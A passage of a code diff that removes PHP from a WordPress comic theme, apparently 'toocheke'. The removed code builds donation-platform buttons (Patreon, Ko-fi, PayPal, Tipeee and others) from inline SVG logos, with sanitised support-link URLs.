-                $gumroad_button                = $display_default_button ? '<svg fill="none" viewBox="0 0 48 48" xmlns="http://www.w3.org/2000/svg"><path d="m48 24c0 13.255-10.745 24-24 24s-24-10.745-24-24 10.745-24 24-24 24 10.745 24 24zm-37.25-0.5577c0 7.0142 4.1354 12.653 11.166 12.653 7.0304 0 8.8223-5.6388 9.2358-8.5269v7.9768h5.7105v-12.653h-13.016v2.4754h6.2033c-0.6893 3.0258-2.3435 6.0515-6.2033 6.0515-4.2733 0-7.0303-3.7134-7.0303-8.252 0-4.5385 2.757-8.2519 7.0303-8.2519 3.9977 0 5.6519 2.8882 5.7897 4.8136h6.4788c-0.1378-3.4383-3.1705-9.4896-12.131-9.4896-8.6844 0-13.234 5.9139-13.234 13.203z" clip-rule="evenodd" fill="#fff" fill-rule="evenodd"/></svg>' : '<img class="comic-image-nav" src="' . esc_attr($gumroad_image_button_url) . '" />';
-                $indiegogo_image_button_url    = get_option('toocheke-indiegogo-button');
-                $indiegogo_button              = $display_default_button ? '<svg xmlns="http://www.w3.org/2000/svg" width="321.547" height="186.016" viewBox="0 0 321.547 186.016" xml:space="preserve"><g fill="#FFF"><path d="M242.411 0c-67.313 0-79.365 44.115-79.365 92.779 0 48.438 12.053 92.553 79.365 92.553 67.082 0 79.135-44.115 79.135-92.553C321.546 44.342 309.95 0 242.411 0zm0 142.809c-26.607 0-30.246-18.42-30.246-48.209 0-29.563 3.639-47.983 30.246-47.983 26.377 0 30.016 18.42 30.016 47.983 0 29.789-3.639 48.209-30.016 48.209zM70.267 113.473h31.154v3.186c0 20.012.682 28.881-23.195 28.881-22.285 0-29.79-10.234-29.79-50.939 0-42.524 12.734-47.526 31.837-47.526 14.1 0 24.104 3.639 32.52 8.414l25.924-40.25C125.069 6.369 105.06.684 82.547.684 20.012.684 0 30.701 0 93.463c0 54.805 14.554 92.553 73.905 92.553 10.46 0 19.558-.682 27.287-2.273h44.572V74.135h-70.04l-5.457 39.338z"/></g></svg>' : '<img class="comic-image-nav" src="' . esc_attr($indiegogo_image_button_url) . '" />';
-                $kickstarter_image_button_url  = get_option('toocheke-kickstarter-button');
-                $kickstarter_button            = $display_default_button ? '<i class="fab fa-lg fa-kickstarter" aria-hidden="true"></i>' : '<img class="comic-image-nav" src="' . esc_attr($kickstarter_image_button_url) . '" />';
-                $kofi_image_button_url         = get_option('toocheke-kofi-button');
-                $kofi_button                   = $display_default_button ? '<svg viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path d="M23.881 8.948c-.773-4.085-4.859-4.593-4.859-4.593H.723c-.604 0-.679.798-.679.798s-.082 7.324-.022 11.822c.164 2.424 2.586 2.672 2.586 2.672s8.267-.023 11.966-.049c2.438-.426 2.683-2.566 2.658-3.734 4.352.24 7.422-2.831 6.649-6.916zm-11.062 3.511c-1.246 1.453-4.011 3.976-4.011 3.976s-.121.119-.31.023c-.076-.057-.108-.09-.108-.09-.443-.441-3.368-3.049-4.034-3.954-.709-.965-1.041-2.7-.091-3.71.951-1.01 3.005-1.086 4.363.407 0 0 1.565-1.782 3.468-.963 1.904.82 1.832 3.011.723 4.311zm6.173.478c-.928.116-1.682.028-1.682.028V7.284h1.77s1.971.551 1.971 2.638c0 1.913-.985 2.667-2.059 3.015z"/></svg>' : '<img class="comic-image-nav" src="' . esc_attr($kofi_image_button_url) . '" />';
-                $liberapay_image_button_url    = get_option('toocheke-liberapay-button');
-                $liberapay_button              = $display_default_button ? '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 80 80"><g fill="#1a171b"><path d="M25.91 63.04c-3.571 0-6.373-.466-8.41-1.396-2.037-.93-3.495-2.199-4.375-3.809-.88-1.609-1.308-3.457-1.282-5.544.025-2.086.313-4.311.868-6.675l9.579-40.05 11.69-1.81-10.484 43.44a13.563 13.563 0 0 0-.339 2.489c-.026.754.113 1.421.415 1.999.302.579.817 1.044 1.546 1.395.729.353 1.747.579 3.055.679l-2.263 9.278M68.15 38.08c0 3.671-.604 7.03-1.811 10.07-1.207 3.043-2.879 5.669-5.01 7.881-2.138 2.213-4.702 3.935-7.693 5.167-2.992 1.231-6.248 1.848-9.767 1.848-1.71 0-3.42-.151-5.129-.453l-3.394 13.651H24.184l12.52-52.19c2.01-.603 4.311-1.143 6.901-1.622 2.589-.477 5.393-.716 8.41-.716 2.815 0 5.242.428 7.278 1.282 2.037.855 3.708 2.024 5.02 3.507 1.307 1.484 2.274 3.219 2.904 5.205.627 1.987.942 4.11.942 6.373M40.781 53.544c.854.202 1.91.302 3.167.302 1.961 0 3.746-.364 5.355-1.094a11.799 11.799 0 0 0 4.111-3.055c1.131-1.307 2.01-2.877 2.64-4.714.628-1.835.943-3.858.943-6.071 0-2.161-.479-3.998-1.433-5.506-.956-1.508-2.615-2.263-4.978-2.263-1.61 0-3.118.151-4.525.453l-5.28 21.948"/></g></svg>' : '<img class="comic-image-nav" src="' . esc_attr($liberapay_image_button_url) . '" />';
-                $patreon_image_button_url      = get_option('toocheke-patreon-button');
-                $patreon_button                = $display_default_button ? '<i class="fab fa-lg fa-patreon" aria-hidden="true"></i>' : '<img class="comic-image-nav" src="' . esc_attr($patreon_image_button_url) . '" />';
-                $paypal_image_button_url       = get_option('toocheke-paypal-button');
-                $paypal_button                 = $display_default_button ? '<i class="fab fa-lg fa-paypal" aria-hidden="true"></i>' : '<img class="comic-image-nav" src="' . esc_attr($paypal_image_button_url) . '" />';
-                $substack_image_button_url     = get_option('toocheke-substack-button');
-                $substack_button               = $display_default_button ? '<svg xmlns="http://www.w3.org/2000/svg" shape-rendering="geometricPrecision" text-rendering="geometricPrecision" image-rendering="optimizeQuality" fill-rule="evenodd" clip-rule="evenodd" viewBox="0 0 448 511.471"><path fill="#FF681A" d="M0 0h448v62.804H0V0zm0 229.083h448v282.388L223.954 385.808 0 511.471V229.083zm0-114.542h448v62.804H0v-62.804z"/></svg>' : '<img class="comic-image-nav" src="' . esc_attr($substack_image_button_url) . '" />';
-                $tipeee_image_button_url       = get_option('toocheke-tipeee-button');
-                $tipeee_button                 = $display_default_button ? '<svg xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:cc="http://creativecommons.org/ns#" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd" xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape" version="1.1" id="Layer_1" x="0px" y="0px" width="888.00201" height="335.15942" viewBox="0 0 888.00201 335.15942" enable-background="new 0 0 1009 472" xml:space="preserve" sodipodi:docname="Tipeee_logo_.svg" inkscape:version="0.92.1 r15371"><metadata id="metadata41"><rdf:RDF><cc:Work rdf:about=""><dc:format></dc:format><dc:type rdf:resource="http://purl.org/dc/dcmitype/StillImage" /><dc:title></dc:title></cc:Work></rdf:RDF></metadata><defs id="defs39" /><sodipodi:namedview pagecolor="#ffffff" bordercolor="#666666" borderopacity="1" objecttolerance="10" gridtolerance="10" guidetolerance="10" inkscape:pageopacity="0" inkscape:pageshadow="2" inkscape:window-width="1920" inkscape:window-height="1017" id="namedview37" showgrid="false" fit-margin-top="0" fit-margin-left="0" fit-margin-right="0" fit-margin-bottom="0" inkscape:zoom="0.70564916" inkscape:cx="301.30419" inkscape:cy="163.71331" inkscape:window-x="-8" inkscape:window-y="-8" inkscape:window-maximized="1" inkscape:current-layer="Layer_1" /><path d="m 888.002,134.4 c -0.808,1.266 -0.516,2.772 -0.922,4.146 -2.004,6.776 -5.498,12.746 -9.693,18.348 -7.275,9.714 -15.759,18.295 -25.001,26.111 -24.586,20.791 -51.223,38.508 -80.07,52.844 -17.634,8.763 -35.871,16.008 -54.891,21.184 -9.907,2.696 -19.967,4.514 -30.292,3.996 -11.321,-0.566 -21.675,-3.788 -30.269,-11.57 -2.327,-2.107 -4.334,-4.483 -6.127,-7.044 -1.036,-1.48 -0.741,-1.7 -2.768,-0.567 -8.1,4.527 -16.448,8.52 -25.168,11.724 -9.337,3.431 -18.914,5.863 -28.812,6.909 -10.236,1.081 -20.275,0.364 -29.85,-3.799 -7.308,-3.178 -13.14,-8.147 -17.56,-14.762 -1.194,-1.787 -1.045,-1.589 -2.743,-0.626 -9.887,5.608 -20.108,10.485 -30.848,14.252 -8.584,3.011 -17.401,4.965 -26.494,4.968 -18.408,0.006 -32.272,-7.824 -40.765,-24.471 -0.252,-0.494 -0.524,-0.979 -0.797,-1.464 -0.035,-0.063 -0.126,-0.096 -0.227,-0.167 -3.169,1.447 -6.352,2.919 -9.551,4.354 -2.694,1.208 -5.523,1.681 -8.424,1.064 -5.737,-1.218 -9.247,-7.016 -7.993,-13.085 0.727,-3.519 2.583,-6.049 6.032,-7.477 4.499,-1.861 8.899,-3.957 13.24,-6.176 1.009,-0.517 1.357,-1.134 1.269,-2.24 -0.185,-2.308 -0.334,-4.624 -0.354,-6.938 -0.14,-15.692 2.429,-31.027 6.25,-46.181 3.527,-13.989 8.275,-27.534 15.057,-40.311 7.707,-14.522 17.6,-27.226 30.897,-37.098 7.085,-5.26 14.812,-9.122 23.49,-10.944 6.183,-1.297 12.361,-1.54 18.499,0.239 7.429,2.152 12.691,6.897 16.088,13.749 3.65,7.36 4.784,15.163 3.938,23.311 -1.159,11.17 -5.228,21.383 -10.352,31.208 -9.628,18.463 -21.434,35.41 -35.785,50.538 -12.108,12.764 -25.558,23.912 -40.34,33.451 -0.403,0.261 -0.795,0.54 -1.209,0.781 -0.659,0.385 -0.789,0.825 -0.486,1.582 3.493,8.741 9.256,13.74 19.354,14.239 7.398,0.366 14.451,-1.405 21.318,-3.883 10.852,-3.915 21.068,-9.189 31.074,-14.896 1.266,-0.722 1.572,-1.539 1.398,-2.886 -0.733,-5.651 -0.748,-11.34 -0.367,-17.003 0.757,-11.266 2.652,-22.363 5.617,-33.262 5.103,-18.759 12.393,-36.624 22.393,-53.313 7.249,-12.099 16.254,-22.76 27.271,-31.634 8.438,-6.796 17.99,-11.171 28.688,-13.079 15.613,-2.785 29.301,7.075 33.52,20.471 2.778,8.822 2.425,17.651 0.221,26.493 -1.672,6.711 -4.599,12.943 -7.619,19.115 -8.989,18.372 -20.758,34.861 -34.202,50.205 -14.088,16.078 -29.968,30.146 -47.496,42.365 -0.328,0.229 -0.642,0.481 -0.985,0.684 -0.728,0.429 -0.691,0.925 -0.282,1.589 1.535,2.494 3.463,4.597 6.011,6.07 3.821,2.211 7.958,3.13 12.366,3.274 8.582,0.282 16.854,-1.33 25.032,-3.681 11.449,-3.291 21.973,-8.638 32.274,-14.487 1.053,-0.599 1.468,-1.3 1.248,-2.507 -0.679,-3.711 -0.709,-7.49 -0.717,-11.229 -0.01,-4.704 0.242,-9.42 0.81,-14.107 1.678,-13.852 4.782,-27.371 9.423,-40.528 5.765,-16.34 12.854,-32.044 22.735,-46.358 8.224,-11.914 18.105,-22.143 30.725,-29.496 6.117,-3.564 12.546,-6.339 19.569,-7.542 8.423,-1.444 16.291,-0.253 23.01,5.396 5.617,4.722 9.184,10.806 10.988,17.9 2.037,8.002 1.555,16.013 -0.173,23.987 -2.271,10.486 -6.552,20.185 -11.762,29.505 -8.04,14.383 -17.938,27.412 -28.972,39.604 -14.482,16.001 -30.328,30.486 -47.944,42.994 -0.39,0.277 -0.813,0.52 -1.054,1.122 2.426,4.136 6.092,6.755 10.662,8.251 4.275,1.4 8.682,1.249 13.071,1.086 9.665,-0.358 18.927,-2.859 28.127,-5.569 12.521,-3.688 24.511,-8.746 36.249,-14.41 23.827,-11.5 46.328,-25.189 67.49,-41.068 11.222,-8.42 21.671,-17.698 30.984,-28.22 3.727,-4.209 7.033,-8.703 9.54,-13.755 0.968,-1.95 1.577,-3.993 1.798,-6.173 0.507,-4.99 4.329,-8.887 9.354,-9.473 2.308,-0.269 4.615,-0.238 6.836,0.719 2.736,1.179 4.492,3.196 5.445,5.973 0.003,2.558 0.003,5.118 0.003,7.678 z m -224.655,70.47 c 1.066,-0.177 1.524,-0.771 2.073,-1.201 10.659,-8.334 20.6,-17.46 29.987,-27.198 13.38,-13.879 25.09,-29.003 34.116,-46.089 4.32,-8.177 7.582,-16.755 8.01,-26.128 0.153,-3.341 -0.108,-6.702 -1.729,-9.784 -1.312,-2.496 -3.34,-3.713 -6.161,-3.837 -3.565,-0.157 -6.763,1.021 -9.878,2.512 -6.728,3.222 -12.306,7.983 -17.504,13.234 -9.058,9.149 -15.565,20.026 -21.168,31.491 -7.261,14.859 -12.38,30.452 -15.631,46.657 -1.335,6.659 -2.155,13.382 -2.115,20.343 z m -103.604,-0.794 c 0.846,-0.074 1.177,-0.454 1.547,-0.736 9.423,-7.182 18.313,-14.962 26.626,-23.416 14.95,-15.205 27.562,-32.133 37.733,-50.872 2.935,-5.407 5.771,-10.866 7.667,-16.756 1.459,-4.534 2.299,-9.14 1.759,-13.917 -0.668,-5.908 -4.334,-8.783 -10.223,-8.041 -0.315,0.04 -0.623,0.135 -0.937,0.194 -3.896,0.732 -7.479,2.273 -10.863,4.287 -9.443,5.621 -16.862,13.413 -23.286,22.175 -5.209,7.104 -9.545,14.763 -13.268,22.749 -7.192,15.429 -12.214,31.559 -15.258,48.295 -0.956,5.257 -1.412,10.588 -1.497,16.038 z m -98.412,-5.608 c 0.758,0.03 1.063,-0.241 1.381,-0.464 10.181,-7.147 19.467,-15.322 28.06,-24.307 11.567,-12.095 21.104,-25.682 29.388,-40.165 4.615,-8.07 8.449,-16.507 10.43,-25.661 0.764,-3.533 1.058,-7.11 0.282,-10.706 -1.098,-5.089 -3.827,-7.27 -8.972,-6.95 -3.826,0.238 -7.3,1.73 -10.606,3.521 -10.578,5.729 -18.648,14.223 -25.488,23.904 -4.858,6.875 -8.458,14.487 -11.575,22.3 -5.319,13.333 -9.088,27.106 -11.384,41.271 -0.922,5.678 -1.397,11.412 -1.516,17.257 z" id="path4" inkscape:connector-curvature="0" style="clip-rule:evenodd;fill:#d8485a;fill-rule:evenodd" /><path d="m 0,71.04 c 0.153,-0.028 0.394,-0.005 0.445,-0.093 1.374,-2.352 3.553,-2.599 6.001,-2.527 3.917,0.115 7.838,0.051 11.758,0.021 1.689,-0.013 1.82,-0.072 1.739,-1.782 -0.287,-6.073 -0.135,-12.15 -0.219,-18.224 -0.051,-3.679 -0.1,-7.36 -0.023,-11.037 0.103,-4.929 2.468,-7.79 7.172,-9.198 13.766,-4.122 27.585,-8.069 41.186,-12.728 1.127,-0.387 2.308,-0.654 3.485,-0.856 4.409,-0.756 7.554,1.577 8.08,6.022 0.14,1.183 0.055,2.394 0.055,3.592 0.002,13.998 -0.001,27.996 0.005,41.995 0.001,2.195 0.022,2.221 2.276,2.224 9.599,0.01 19.197,0.003 28.796,0.007 0.719,0 1.446,-0.035 2.156,0.058 1.87,0.244 3.178,1.599 3.404,3.479 0.057,0.474 0.036,0.958 0.036,1.438 0.002,13.678 0.008,27.356 -0.003,41.035 -0.003,3.486 -1.474,4.938 -4.956,4.985 -0.48,0.006 -0.96,0.001 -1.44,0.001 -9.119,0 -18.238,-0.008 -27.356,0.004 -3.323,0.004 -2.909,-0.317 -2.91,2.97 -0.011,22.797 -0.008,45.594 -10e-4,68.392 0,1.596 -0.013,3.188 0.337,4.771 0.936,4.224 3.448,6.624 7.705,7.493 3.961,0.81 7.802,0.111 11.63,-0.737 3.669,-0.813 7.221,-2.026 10.671,-3.524 0.293,-0.128 0.58,-0.272 0.877,-0.387 3.363,-1.296 5.284,-0.074 5.427,3.548 0.091,2.316 0.022,4.64 0.022,6.959 0,10.799 0,21.597 0,32.396 0,4.617 -1.91,7.508 -6.217,9.18 -7.152,2.776 -14.447,5.099 -21.913,6.901 -8.99,2.172 -18.082,3.348 -27.323,2.715 -10.777,-0.738 -20.479,-4.16 -28.149,-12.155 -5.874,-6.121 -9.208,-13.571 -11.084,-21.729 -1.078,-4.685 -1.539,-9.441 -1.529,-14.266 0.046,-23.598 0.026,-47.194 0.018,-70.792 -0.002,-6.479 -0.043,-12.957 -0.071,-19.435 -0.01,-2.29 -0.017,-2.298 -2.393,-2.303 -3.839,-0.007 -7.682,-0.084 -11.518,0.029 C 3.848,119.55 1.899,119.099 0.604,116.988 0.498,116.815 0.206,116.755 0,116.642 0,101.44 0,86.24 0,71.04 Z" id="path6" inkscape:connector-curvature="0" style="clip-rule:evenodd;fill:#d84759;fill-rule:evenodd" /><path d="m 188.161,0 c 4.22,0.528 8.272,1.563 12.077,3.564 11.113,5.844 17.558,18.132 16.395,30.657 -1.448,15.596 -15.105,29.037 -32.729,28.094 -17.141,-0.917 -28.681,-14.862 -29.471,-29.28 -0.836,-15.238 9.33,-28.896 24.068,-32.327 0.978,-0.228 2.095,0.062 2.94,-0.708 2.239,0 4.479,0 6.72,0 z" id="path8" inkscape:connector-curvature="0" style="clip-rule:evenodd;fill:#d8485a;fill-rule:evenodd" /><path d="m 317.083,74.01 c 3.69,-1.357 7.203,-2.644 10.853,-3.487 20.368,-4.706 39.551,-1.717 57.351,9.216 17.688,10.864 29.574,26.574 37.117,45.721 3.983,10.108 6.2,20.622 6.897,31.464 1.342,20.851 -2.648,40.569 -12.809,58.881 -8.914,16.065 -21.302,28.659 -37.92,36.854 -12.342,6.086 -25.404,8.436 -39.072,7.411 -6.881,-0.516 -13.566,-2.074 -20.037,-4.512 -0.722,-0.271 -1.404,-0.789 -2.244,-0.626 -0.506,0.363 -0.334,0.885 -0.334,1.326 -0.014,8.639 -0.016,17.276 -0.006,25.914 0.002,1.954 0.028,1.975 1.961,1.983 3.519,0.017 7.039,-0.008 10.558,0.009 3.3,0.016 4.827,1.448 5.074,4.734 0.042,0.557 0.015,1.119 0.015,1.679 0,12.718 -0.001,25.435 0.003,38.151 0,1.121 0.01,2.237 -0.31,3.329 -0.545,1.861 -1.888,2.968 -3.797,3.083 -0.478,0.029 -0.959,0.007 -1.439,0.007 -28.953,0 -57.907,0.001 -86.86,-0.002 -0.719,0 -1.455,0.061 -2.153,-0.068 -1.674,-0.311 -3.035,-1.901 -3.253,-3.726 -0.066,-0.553 -0.035,-1.118 -0.035,-1.678 -0.002,-13.356 -0.003,-26.714 0.002,-40.07 10e-4,-0.953 -0.094,-1.917 0.341,-2.829 0.845,-1.771 2.22,-2.632 4.19,-2.62 3.759,0.022 7.518,0.016 11.277,0.002 1.985,-0.007 1.986,-0.024 2.021,-1.913 0.007,-0.399 0.001,-0.8 0.001,-1.200 0,-52.868 0.003,-105.736 -0.006,-158.604 -0.001,-3.582 0.482,-3.179 -3.179,-3.2 -3.199,-0.019 -6.399,0.027 -9.598,-0.013 -3.587,-0.044 -5.043,-1.541 -5.046,-5.175 -0.011,-13.517 -0.011,-27.034 0,-40.55 0.003,-3.748 1.51,-5.33 5.189,-5.333 23.275,-0.019 46.549,-0.019 69.824,0 3.653,0.005 4.788,1.232 5.424,5.841 z m 59.739,90.169 c -0.021,-8.239 -1.26,-15.685 -3.907,-22.781 -2.346,-6.289 -5.65,-11.978 -10.606,-16.616 -4.109,-3.845 -8.893,-6.285 -14.541,-6.563 -5.228,-0.257 -9.869,1.603 -14.009,4.739 -5.029,3.811 -8.625,8.785 -11.144,14.478 -7.364,16.646 -7.682,33.574 -1.499,50.625 2.262,6.237 5.732,11.767 10.702,16.261 8.65,7.822 19.684,8.163 28.784,0.894 4.134,-3.302 7.178,-7.481 9.589,-12.137 4.694,-9.06 6.592,-18.77 6.631,-28.9 z" id="path10" inkscape:connector-curvature="0" style="clip-rule:evenodd;fill:#d84759;fill-rule:evenodd" /><path d="m 154.325,137.344 c -0.886,-0.34 -1.612,0.068 -2.366,0.293 -3.06,0.913 -6.114,1.846 -9.186,2.719 -2.521,0.716 -4.661,-0.659 -5.076,-3.242 -0.126,-0.784 -0.125,-1.593 -0.125,-2.39 -0.007,-12.479 -0.006,-24.958 -0.002,-37.437 0,-0.719 0.013,-1.44 0.075,-2.156 0.284,-3.251 1.45,-4.731 4.576,-5.672 11.924,-3.591 23.854,-7.158 35.782,-10.737 10.782,-3.235 21.563,-6.474 32.345,-9.707 0.611,-0.183 1.224,-0.401 1.852,-0.483 2.247,-0.294 4.131,1.14 4.416,3.385 0.11,0.867 0.058,1.756 0.058,2.636 0.002,43.916 0,87.832 0.006,131.748 0,3.457 -0.295,2.951 2.898,2.976 3.359,0.025 6.72,-0.022 10.079,0.015 2.985,0.033 4.573,1.621 4.578,4.63 0.019,13.919 0.02,27.838 0,41.756 -0.004,3.195 -1.554,4.558 -5.063,4.559 -25.277,0.004 -50.555,0.002 -75.833,0.002 -3.92,0 -7.839,0.019 -11.759,-0.007 -3.161,-0.021 -4.69,-1.536 -4.694,-4.723 -0.019,-13.839 -0.02,-27.678 0.001,-41.517 0.005,-3.105 1.631,-4.679 4.773,-4.703 3.36,-0.026 6.72,0.005 10.079,-0.01 3.057,-0.013 2.741,0.321 2.748,-2.639 0.014,-5.76 0.004,-11.519 0.004,-17.278 0,-16.479 0.002,-32.957 -0.005,-49.436 -0.004,-0.867 0.115,-1.751 -0.161,-2.582 z" id="path12" inkscape:connector-curvature="0" style="clip-rule:evenodd;fill:#d84759;fill-rule:evenodd" /><path d="m 822.01,291.137 c 3.731,-4.199 7.707,-7.141 13.269,-6.765 5.153,0.348 9.708,1.923 12.644,6.539 1.042,-0.377 1.522,-1.156 2.14,-1.749 6.37,-6.127 15.79,-5.729 21.668,-2.641 3.534,1.858 5.53,4.979 6.719,8.683 1.236,3.854 1.466,7.837 1.467,11.846 10e-4,3.84 -0.017,7.681 0.009,11.52 0.012,1.715 0.051,1.715 1.741,1.786 2.977,0.124 2.977,0.124 2.977,3.173 10e-4,2.64 0.014,5.28 -0.004,7.92 -0.014,1.903 -0.032,1.95 -1.783,1.955 -6.96,0.02 -13.92,0.022 -20.88,-0.004 -1.684,-0.006 -1.731,-0.067 -1.731,-1.793 -0.003,-8.399 0.031,-16.799 0.027,-25.198 -10e-4,-1.749 0.082,-3.507 -0.395,-5.231 -0.443,-1.604 -1.297,-2.754 -3.038,-2.975 -1.71,-0.217 -3.524,0.844 -4.336,2.434 -0.487,0.955 -0.649,1.99 -0.657,3.024 -0.039,5.119 -0.01,10.239 -0.047,15.358 -0.008,1.105 0.352,1.635 1.521,1.56 0.956,-0.062 1.92,0.015 2.879,-0.01 0.795,-0.021 1.162,0.291 1.157,1.12 -0.018,3.52 -0.013,7.039 0.002,10.56 0.003,0.802 -0.352,1.168 -1.148,1.158 -0.88,-0.012 -1.76,0.005 -2.64,0.006 -6.319,0 -12.64,0.011 -18.959,-0.007 -1.835,-0.006 -1.871,-0.044 -1.875,-1.863 -0.016,-7.68 -0.025,-15.359 0.004,-23.039 0.01,-2.325 -0.123,-4.644 -0.48,-6.928 -0.451,-2.88 -2.993,-4.178 -5.499,-2.938 -1.441,0.713 -2.011,2.024 -2.118,3.526 -0.098,1.354 -0.067,2.718 -0.069,4.077 -0.007,4.239 -0.017,8.479 0.005,12.72 0.009,1.699 0.046,1.681 1.715,1.76 1.188,0.057 2.653,-0.496 3.494,0.263 0.966,0.873 0.372,2.427 0.406,3.68 0.062,2.238 0.035,4.479 0.012,6.72 -0.02,1.983 -0.039,2.019 -2.001,2.023 -6.72,0.018 -13.44,0.007 -20.16,0.007 -1.6,0 -3.2,-0.027 -4.8,0.006 -0.993,0.021 -1.465,-0.35 -1.455,-1.395 0.029,-3.279 0.038,-6.561 -0.004,-9.84 -0.015,-1.178 0.509,-1.579 1.605,-1.475 0.396,0.038 0.801,-0.02 1.200,0.005 0.92,0.059 1.27,-0.353 1.267,-1.273 -0.021,-6.561 -0.021,-13.12 0,-19.68 0.003,-0.924 -0.351,-1.332 -1.27,-1.271 -0.318,0.021 -0.64,0.01 -0.959,-0.003 -1.751,-0.07 -1.802,-0.072 -1.819,-1.709 -0.036,-3.199 0.015,-6.399 -0.022,-9.6 -0.013,-1.139 0.436,-1.531 1.57,-1.521 5.04,0.043 10.08,0.041 15.12,-0.001 1.038,-0.009 1.609,0.31 1.929,1.334 0.399,1.289 0.967,2.527 1.603,4.146 z" id="path14" inkscape:connector-curvature="0" style="clip-rule:evenodd;fill:#d8485a;fill-rule:evenodd" /><path d="m 771.929,284.634 c 4.882,-0.165 9.529,0.805 13.86,3.088 7.266,3.829 11.206,9.983 12.411,17.995 0.564,3.753 0.454,7.5 -0.507,11.176 -1.902,7.287 -6.343,12.521 -13.299,15.335 -9.175,3.712 -18.288,3.34 -26.994,-1.519 -6.144,-3.429 -9.838,-8.775 -11.076,-15.71 -1.158,-6.483 -0.608,-12.774 2.931,-18.499 4.534,-7.336 11.405,-10.912 19.8,-11.853 0.946,-0.105 1.916,-0.013 2.874,-0.013 z m -6.391,24.775 c -0.107,3.785 0.474,7.305 2.617,10.359 2.446,3.488 6.324,3.311 8.541,-0.314 0.371,-0.606 0.68,-1.269 0.908,-1.941 1.659,-4.902 1.658,-9.853 0.27,-14.805 -0.41,-1.46 -1.109,-2.816 -2.18,-3.938 -2.351,-2.46 -5.304,-2.33 -7.375,0.345 -0.585,0.755 -1.045,1.584 -1.417,2.479 -1.061,2.548 -1.489,5.192 -1.364,7.815 z" id="path16" inkscape:connector-curvature="0" style="clip-rule:evenodd;fill:#d8485a;fill-rule:evenodd" /><path d="m 729.656,289.509 c 0.584,-0.451 0.601,-1.232 0.859,-1.868 0.818,-2.012 0.785,-2.032 2.81,-2.038 2.559,-0.008 5.117,0.032 7.674,-0.018 1.063,-0.02 1.596,0.204 1.586,1.44 -0.052,6.235 -0.043,12.472 -0.006,18.707 0.007,1.103 -0.301,1.579 -1.483,1.563 -3.756,-0.054 -7.515,-0.046 -11.271,-0.004 -1.031,0.011 -1.438,-0.424 -1.492,-1.392 -0.084,-1.523 -0.395,-3.006 -0.914,-4.442 -1.956,-5.411 -6.595,-4.962 -9.705,-2.203 -0.355,0.314 -0.685,0.688 -0.93,1.094 -2.861,4.745 -3.563,9.704 -1.201,14.846 1.626,3.538 4.556,5.237 8.396,5.365 3.974,0.132 7.304,-1.371 10.151,-4.092 1.373,-1.31 1.423,-1.286 2.68,0.149 1.895,2.164 3.764,4.352 5.647,6.524 1.602,1.848 1.626,1.868 -0.294,3.557 -4.105,3.609 -8.873,5.972 -14.185,7.147 -6.294,1.394 -12.559,1.24 -18.607,-1.169 -8.834,-3.52 -13.651,-10.162 -14.835,-19.532 -0.559,-4.418 -0.324,-8.794 1.039,-13.034 2.766,-8.596 8.829,-13.423 17.606,-14.972 2.042,-0.359 4.108,-0.59 6.202,-0.336 3.434,0.416 6.469,1.683 9.041,4.019 0.336,0.306 0.596,0.774 1.232,0.689 z" id="path18" inkscape:connector-curvature="0" style="clip-rule:evenodd;fill:#d8485a;fill-rule:evenodd" /><path d="m 681.92,333.677 c -6.156,0.305 -10.938,-5.175 -10.884,-10.395 0.062,-5.965 4.89,-10.776 10.845,-10.808 6.384,-0.033 10.988,5.186 11.006,10.937 0.022,7.141 -5.384,10.556 -10.967,10.266 z" id="path20" inkscape:connector-curvature="0" style="clip-rule:evenodd;fill:#d8485a;fill-rule:evenodd" /></svg>' : '<img class="comic-image-nav" src="' . esc_attr($tipeee_image_button_url) . '" />';
-
-                $html             = "";
-                $buymeacoffee_url = get_option("toocheke-support-link-buymeacoffee");
-                $gumroad_url      = get_option("toocheke-support-link-gumroad");
-                $indiegogo_url    = get_option("toocheke-support-link-indiegogo");
-                $kickstarter_url  = get_option("toocheke-support-link-kickstarter");
-                $kofi_url         = get_option("toocheke-support-link-kofi");
-                $liberapay_url    = get_option("toocheke-support-link-liberapay");
-                $patreon_url      = get_option("toocheke-support-link-patreon");
-                $paypal_url       = get_option("toocheke-support-link-paypal");
-                $substack_url     = get_option("toocheke-support-link-substack");
-                $tipeee_url       = get_option("toocheke-support-link-tipeee");
-
-                if (! empty($buymeacoffee_url)) {
-                    $html = $html . "<a href='" . esc_url($buymeacoffee_url) . "' title='Support with Buy me a coffee' target='_blank'>" . wp_kses($buymeacoffee_button, $allowed_tags) . "</a>";
-                }
-
-                if (! empty($gumroad_url)) {
-                    $html = $html . "<a href='" . esc_url($gumroad_url) . "' title='Support with Gumroad' target='_blank'>" . wp_kses($gumroad_button, $allowed_tags) . "</a>";
-                }
-
-                if (! empty($indiegogo_url)) {
-                    $html = $html . "<a href='" . esc_url($indiegogo_url) . "' title='Support with Indiegogo' target='_blank'>" . wp_kses($indiegogo_button, $allowed_tags) . "</a>";
-                }
-
-                if (! empty($kickstarter_url)) {
-                    $html = $html . "<a href='" . esc_url($kickstarter_url) . "' title='Support with Kickstarter' target='_blank'>" . wp_kses($kickstarter_button, $allowed_tags) . "</a>";
-                }
-                if (! empty($kofi_url)) {
-                    $html = $html . "<a href='" . esc_url($kofi_url) . "' title='Support with Ko-fi' target='_blank'>" . wp_kses($kofi_button, $allowed_tags) . "</a>";
-                }
-
-                if (! empty($liberapay_url)) {
-                    $html = $html . "<a href='" . esc_url($liberapay_url) . "' title='Support with Liberapay' target='_blank'>" . wp_kses($liberapay_button, $allowed_tags) . "</a>";
-                }
-
-                if (! empty($patreon_url)) {
-                    $html = $html . "<a href='" . esc_url($patreon_url) . "' title='Support with Patreon' target='_blank'>" . wp_kses($patreon_button, $allowed_tags) . "</a>";
-                }
-
-                if (! empty($paypal_url)) {
-                    $html = $html . "<a href='" . esc_url($paypal_url) . "' title='Support with PayPal' target='_blank'>" . wp_kses($paypal_button, $allowed_tags) . "</a>";
-                }
-
-                if (! empty($substack_url)) {
-                    $html = $html . "<a href='" . esc_url($substack_url) . "' title='Support with Substack' target='_blank'>" . wp_kses($substack_button, $allowed_tags) . "</a>";
-                }
-                if (! empty($tipeee_url)) {
